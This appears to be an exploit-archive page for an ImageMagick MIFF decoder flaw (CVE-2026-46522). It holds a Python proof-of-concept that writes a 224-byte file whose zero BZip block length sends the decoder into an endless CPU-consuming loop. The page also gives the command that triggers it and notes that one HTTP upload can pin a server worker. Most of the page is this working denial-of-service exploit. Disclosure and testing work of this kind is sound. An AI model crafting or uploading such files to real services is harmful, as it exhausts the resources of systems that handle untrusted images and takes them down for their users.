ImageMagick Exploit, Infinite Loop in the MIFF decoder can lead to CPU exhaustion

# Exploit Title: ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion
# Google Dork: N/A
# Date: 2026-05-13
# Exploit Author: Jose Rivas (bl4cksku11) & Zero Trust Offsec
# Vendor Homepage: https://imagemagick.org/
# Software Link: https://imagemagick.org/download/
# Version: ImageMagick 7.x, verified on 7.1.2-3 system
# CVE : CVE-2026-46522
# GHSA: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5
"""
Description
-----------
coders/miff.c ReadMIFFImage BZip2 branch does not reject length=0 in the
per-block compressed length prefix. BZ2_bzDecompress with avail_in=0 returns
BZ_OK silently, and the IM loop only exits on BZ_STREAM_END or on codes that
are neither BZ_OK nor BZ_STREAM_END. The loop spins forever consuming CPU.

LZMA and Zip branches have the same code shape but their decompressor
libraries return BUF_ERROR on empty input, so they bail out.

Minimal PoC is 224 bytes. Single HTTP upload pegs a worker at 100 percent CPU
until killed by a request timeout or by the OS.

Usage
-----
    python3 miff_bzip_dos.py [OUTPUT_PATH]

Default OUTPUT_PATH is /tmp/poc.miff. Then trigger:

    /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\
      timeout 5 magick identify /tmp/poc.miff

Expected output:
    Command exited with non-zero status 124
    wall=5.00s user=5.00s cpu=100% exit=124

The process never finishes on its own. Timeout kills it.
"""

import sys

def craft_miff(path: str) -> None:
    header = (
        b"id=ImageMagick version=1.0\n"
        b"class=DirectClass colors=0 alpha-trait=Undefined\n"
        b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n"
        b"columns=1 rows=1 depth=8\n"
        b"colorspace=sRGB compression=BZip quality=75\n"
        b"\x0c\n"          # form feed terminator, then one byte consumed by ReadBlobByte
    )
    body = b"\x00\x00\x00\x00"   # 4-byte MSB length=0, triggers the infinite loop
    with open(path, "wb") as f:
        f.write(header + body)
    import os
    print(f"[+] Wrote {path} ({os.path.getsize(path)} bytes)")
    print(f"[+] Trigger with:")
    print(f"    /usr/bin/time -f 'wall=%es user=%Us cpu=%P exit=%x' \\")
    print(f"      timeout 5 magick identify {path}")

if __name__ == "__main__":
    craft_miff(sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff")

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD